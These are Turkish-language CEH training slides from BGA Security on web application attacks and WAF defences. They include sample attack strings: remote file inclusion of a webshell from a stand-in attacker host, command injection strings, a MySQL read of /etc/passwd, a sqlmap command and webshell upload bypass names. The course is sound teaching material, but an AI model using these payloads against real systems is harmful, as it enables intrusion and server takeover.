Sqlmap ile Sql İnjection İstismarı
./sqlmap.py -u 'http://testasp.vulnweb.com/showforum.asp?id=0' -p id –dbs
133. BGA | CEH
@BGASecurity
Mysql üzerinden local dosya okuma
Mysql’e komut satırından bağlantı kurulur.
mysql -u root –p veya mysql remote_ip –u root –p
Ardından aşağıdaki komut ile local dosyalar okunabilir.
select load_file('/etc/passwd'); --
134. BGA | CEH
@BGASecurity
Code Injection
Saldırganın hedef web uygulaması üzerine zararlı kod
veya kod parçacığı eklemesidir.
Büyük çoğunlukla PHP tabanlı uygulamalar da
bulunsa da JEE/ASP.NET uygulamalarında da görmek
mümkündür.
135. BGA | CEH
@BGASecurity
PHP Include
Karmaşık kodları daha iyi yönetebilmek için modülariteyi
arttırmak amacı ile PHP çatısında, bir PHP dosyasına başka
bir PHP dosyasının dahil edilmesi özelliği vardır.
Bu işlem için aşağıdaki fonksiyonlar kullanılır
include(dosya_ismi)
require(dosya_ismi)
include_once(dosya_ismi)
require_once(dosya_ismi)
136. BGA | CEH
@BGASecurity
PHP Include - Örnek
<html>
<body>
<?php include 'header.php'; ?>
<h1>Merhaba <?php echo $user ?>
Ana sayfaya Hoşgeldiniz...</h1>
...
<?php
$user = $_SESSION[‘user’];
?>
header.php
index.php
137. BGA | CEH
@BGASecurity
PHP Include - Örnek
<html>
<body>
<?php
$user = $_SESSION[‘user’];
?>
<h1>Merhaba <?php echo $user ?>
Ana sayfaya Hoşgeldiniz...</h1>
...
index.php
header.php dosyası içeriği
kopyalandı ve
index.php dosyasına
yapıştırıldı.
138. BGA | CEH
@BGASecurity
Code Injection - PHP
PHP include/require fonksiyonlarına giden
parametre değerleri saldırganlar tarafından
değiştirilebilirse,
Diğer sistem ve uygulama dosyaları da çalıştırılacak
PHP dosyaları içine kopyalanıp, saldırgana cevap
olarak dönebilir.
141. BGA | CEH
@BGASecurity
Code Injection - Saldırı - RFI
/index.php?lang=http://www.saldirgan.com/webshell.txt?
<?php
$language = $_REQUEST[‘lang’];
include($language.”.php”);
…
?>
index.php
sonuç
1
4
www.saldirgan.com
php
web
shell
2
3
142. BGA | CEH
@BGASecurity
Örnek Saldırı String’leri
RFI-Remote File Inclusion: Uzaktan kod çağırma/dosya dahil etme
LFI-Local File Inclusion: Server içinden kod çağırma/dosya dahil etme
?id=http://saldirgan.com/myshell.txt%00
?id=http://saldirgan.com/myshell.txt?
?id=../../../uploads/myshell.txt
?id=../../../uploads/myshell.txt%00
142
146. BGA | CEH
@BGASecurity
Fimap ile Otomatik RFI/LFI
PHP uygulamalarında otomatik RFI ve LFI bulmak için Python
ile yazılmış bir araçtır.
http://code.google.com/p/fimap/
>= Python 2.4
Versiyon alpha_09
147. BGA | CEH
@BGASecurity
Fimap - Örnek
python fimap.py
-u http://sunucu/index.php?pg=
-x
python >=2.4gereksinimi
Parametreler ile beraber
denetlenecek URL
Başarılı saldırı sonrası
interaktif bir oturum açılması
149. BGA | CEH
@BGASecurity
OS Commanding
Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma
ihtiyacı olabilir.
Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web
arayüzü yazılması;
▪ iptables, asterisk, qmail, v.b.
Yetersiz girdi kontrolü nedeniyle saldırganın hedef web
uygulamasını kullanarak işletim sisteminde komutlar
çalıştırması OS Commanding olarak adlandırılır.
156. BGA | CEH
@BGASecurity
OS Commanding - Tanım
Uygulamalar geliştirilirken işletim sistemi komutları
çalıştırma ihtiyacı olabilir.
Örn: Popüler komut satırı Unix/Linux/Windows
uygulamalarına web arayüzü yazılması;
▪ iptables, asterisk, qmail, v.b.
Yetersiz girdi kontrolü nedeniyle saldırganın hedef web
uygulamasını kullanarak işletim sisteminde komutlar
çalıştırması OS Commanding olarak adlandırılır.
161. BGA | CEH
@BGASecurity
OS Commanding - Test Teknikleri
?id=| dir C:
?id=|| dir C:
?id= & dir C:
?id= && dir C:
162. BGA | CEH
@BGASecurity
CSRF:Cross Site Request Forgery
CSRF:Cross Site Request Forgery
Sebebi: Yetersiz girdi kontrolü
Sonuçları: İstem dışı yetkili olaylar
E-posta adresinin başkasına yönlendirilmesi
Kullanılan ADSL modemin DNS adreslerinin değiştirilmesi
Paypal üzerinden otomatik bağış işlemleri
163. BGA | CEH
@BGASecurity
Cross Site Request Forgery - CSRF
1. Kurban A sitesine giriş yapar,
2. Kurban zehirli B sitesini tarayıcısında açar,
3. B sitesi Kurbanın tarayıcısına yüklenir yüklenmez, A
sitesine istek yapar,
4. A sitesi gelen istekleri Kurbanın yaptığını kabul eder
ve işleme alır.
164. BGA | CEH
@BGASecurity
CSRF – Ön Bilgi
Bir web sitesi diğer sitelere istek gönderebilir
<img src=“http://banka.com/index.aspx?data=1”/>
<form action=http://banka.com/index.aspx>
<input name=data type=hidden value=1/>
</form>
<script>
forms[0].submit();
</script>
<iframe src=“http://banka.com/index.aspx?data=1”/>
GETPOST
165. BGA | CEH
@BGASecurity
CSRF – Ön Şart
HTTP/1.1 200 OK
Set-Cookie:
.ASPXAUTH=78JDAA765462A
Content-Length: 55
…
POST /login.aspx HTTP/1.1
Host: www.banka.com
Content-Length: 55
username=usr&password=web
HTTP/1.1 200 OK
Content-Length: 324
…
POST /transfer.aspx HTTP/1.1
Host: www.banka.com
Cookie: ASPXAUTH= 78JDAA765462A
Content-Length: 62
fromHsp=1&mktr=5&toHsp=09
166. BGA | CEH
@BGASecurity
CSRF – Saldırı
200 OK HTTP/1.1
Content-Length: 1255
…
<form action=http://www.banka.com>
…
</form>
GET /blog HTTP/1.1
Host: blog.teknoloji.com
200 OK HTTP/1.1
Content-Length: 324
…
POST /transfer.aspx HTTP/1.1
Host: www.banka.com
Cookie: .ASPXAUTH=78JDAA765462A
Content-Length: 65
fromHsp=1&mktr=3&toHsp=7
171. BGA | CEH
@BGASecurity
CSRF - Manuel Test Tekniği
Denetlenen uygulamaya girilir,
Kişisel web proxyler kullanılarak istekler yapılır,
Uygulamadan çıkmadan, web proxy istek/cevap listesinden
hassas sonuçlu işlemler tekrarlanır,
Tekrarlanan işlem sonucu orijinal cevap ile aynıysa, CSRF
zafiyetinden bahsedilir.
171
172. BGA | CEH
@BGASecurity
Cookie Testleri- Oturum Yönetimi
HTTP oturumları cookiler aracılığıyla yönetilir
Cookie değeri olarak kullanıcıların değiştirebileceği anlaşılır
bilgiler verilmemesi gerekir.
Admin=true
Login=true/false
Logged_in=1
Oturum bilgisi istemci tarafında değil sunucu tarafında
tutulmalıdır
Cookie olarak seçilen değer tahmin edilemez biricik
değerlerden oluşmalıdır
174. BGA | CEH
@BGASecurity
Two Factor Auth Bypass
SMS ile giden parola dönen response içerisinde bir
yerlerde geçebilir.
SMS ile gönderilen parola için araya girilerek Cep tel
değiştirilebilecek bir yer varsa saldırgan kendi cep
telefonuna SMS attırabilir.
175. BGA | CEH
@BGASecurity
Parolaların şifreli tutulduğunu belirleme
Parola unuttum özelliği kullanılarak gönderilen yeni
parola eskisi ile aynıysa parola bilgisi şifresiz tutuluyor
demektir.
Parola resetleme sonrası gelen yeni parola eskisinden
farklı ise parola şifreli tutuluyor olabilir
Ya da parola oluşturma sistemi her seferinde değişik parola
üretecek şekilde yapılandırılmıştır
176. BGA | CEH
@BGASecurity
Öntanımlı Parola Denetimi
Sık kullanılan
user/pass ikilileri
denenmeli
Tomcat, Jboss gibi
bilinen uygulamalara
ait öntanımlı parolalar
denenmeli
179. BGA | CEH
@BGASecurity
File Upload Fonksiyonu Testleri
File upload özelliğinin tespit edilmesi ve güvenlik açısından
irdelenmesi gerekli.
Özellikle java ortamlarında .war dosyalarının upload edilip
edilmediği kontrol edilmeli. Başarılı ise cmd.war benzeri shell
uygulamlar atılabilir.
Dosya uzantısı client tarafında kontrol ediliyorsa atlatmak
mümkündür.
Dosya uzantısı hatalı kontrol edilmiş ise cmd.jpg.php gibi bir shell
upload edilebilir.
181. BGA | CEH
@BGASecurity
Information Leakage
En sıcak örneği OpenSSL heartbleed açıklığı
OpenSSL üzerindeki bilgi açığa çıkarma açıklığı kullanılarak SSL
akan trafikler okunabilmiş ve kullanıcılara ait
username/password , eposta vs. okunabilmiştir.
182. BGA | CEH
@BGASecurity
Insecure Direct Object Ref.(IDOR) Açıklığı
Integer veya string bir değeri değiştirerek yetkisiz içeriklere
erişim.
Genellikle id benzeri bir değeri değiştirerek diğer kullanıcı
bilgilerine (fatura,kişisel bilgi vs.) erişim gerçekleştirme
Fuzzing işlemine tabi tutularak tüm datalar ele geçirilebilir.
https://esube.bgabank.com/ebank/aux/dekont.aspx?FisNumara
si=20131109292&pSubeAdi=&Sube=&HesapNo=101160000000
020&Tarih=10.01.2013
183. BGA | CEH
@BGASecurity
Remote Code Execution
Hedef sistem üzerinde parametre olarak alınan değerlerin sistem komut
satırına gönderilmesi durumlarında ortaya çıkar
Çok karşılaşılan bir açıklık olmamakla beraber zaman zaman çok kritik
sistemlerde çıkmaktadır.
185. BGA | CEH
@BGASecurity
Hata Mesajlarından Hassas Bilgi Çıkarma
Hata sayfalarından path bilgisi, source kod,
username/password,kullanılan uygulama versiyon v.b
bilgiler elde edilebilir.
Uygulamalara olmayan sayfalarda veya hata üretilmesi
gereken girdiler uygulamaya sağlandığında kendi özel
hata sayfasının bastırılması gerekir.
186. BGA | CEH
@BGASecurity
Hata Mesajlarından Bilgi Toplama - I
https://crackstation.net/admin
//Özel geliştirilmiş bir hata mesajı
190. BGA | CEH
@BGASecurity
Flash(.swf) DosyaTespiti
Kaynak koddan .swf olarak aratılarak ilgili bağlantıları bulunur.
İlgili bağlantı açıldıktan sonra save as yapılarak locale indirilebilir.
Otomatize taramalar için;
Owasp Swf Intruder
Hp SwfScan
192. BGA | CEH
@BGASecurity
Captcha Bypass
Captcha her seferinde değişiyormu?
Captcha sonucu her seferinde değişiyormu (Sayı
toplatıp sonucu hep 71 çıkarabilir.)
Üretilen captcha birden fazla istekte kullanılıyor mu?
Captcha text formatında ise kaynak kodda gözükebilir
bu değer ile bypass edilebilir.
193. BGA | CEH
@BGASecurity
Web’e Yönelik Saldırıları Engelleme
Web saldırıları 80/443 port üzerinden gelmektedir
Güvenlik duvarlarında 80/443 portları açıktır ve gelen saldırı
paketleri rahatlıka Firewall’dan geçecektir
Firewall+IPS kullanılıyorsa port 80 içeriğine bakılabilir
IPS kullanılarak statik koruma sağlanır
Açıklığı bilinen uygulamalara yönelik geliştirilmiş imzalarla
195. BGA | CEH
@BGASecurity
Web Application Firewall
HTTP’e özel uygulama seviyesi güvenlik duvarı
Klasik Firewall/IPS’lerden farklı olarak HTTP
protokolü ve buna uygun çalışan yazılımlara detaylı
erişim kontrolü
Imperva, modsecurity, Breach Security, F5, Citrix
Netscaler ...
196. BGA | CEH
@BGASecurity
WAF – Güvenlik Modelleri
WAF Çalışma
Yapısı
Positive
Sec.Model
Negatif Sec.
Model
Öğrenme
Tabanlı
197. BGA | CEH
@BGASecurity
WAF Yerleşim Senaryoları
WAF için temelde dört yerleşim senaryosu vardır.
inline bridge
Offline(passive)
Integrated
Reverse proxy
198. BGA | CEH
@BGASecurity
Bridge Yerleşim Modeli
WAF cihazının web sunucuların önüne bridge modda
yerleştirilerek trafiği üzerinden geçirmesi ve incelemesi
sağlanır(IPS benzeri)
Ağ cihazlarında, web sunucularda ya da dns sunucularda
herhangi bir değişiklik yapılması gerekmez.
199. BGA | CEH
@BGASecurity
Offline(passive) Yerleşim Modeli
WAF cihazı web sunucuların olduğu switch mirrorlarak ya da
hub aracılığı ile bağlanır ve pasif olarak web sunuculara giden
trafiğin bir kopyasını alır.(IDS benzeri)
Alınan kopya trafik
üzerinde detaylı paket
analizi yapılarak zararlı
istekler için cevap üretilir,
bu cevaplarTCP RST
paketleridir.
200. BGA | CEH
@BGASecurity
Bütünleşik Yerleşim Modeli
En basit WAF yerleşimidir ve tamamen çalışan
işletim sistemine, web sunucusuna bağlıdır.
Microsoft IIS için kullanabileceğiniz xyz ürününü Linux
üzerinde ya da Windows üzerinde Apache için
kullanamazsınız
Özellikle korunacak sistemlerin sayısı fazla değilse bu
tip bir yazılım tercih edilebilir.
201. BGA | CEH
@BGASecurity
Reverse Proxy Yerleşim Modeli
Proxy mantığı ile çalışır.
Web sayfasına ulaşmaya çalışan tüm istemciler web sunucu yerine
reverse Proxy modundaki WAF sistemine ulaşır ve kontrolden geçtikten
sonra sunucuya ulaştırılır
Diğer yöntemlere göre altyapıda en fazla değişiklik gerektiren
modeldir.
Sağlıklı çalışacak bir yapı için dns, web sunucu ve network ayarlarında
değişiklik gerektirir.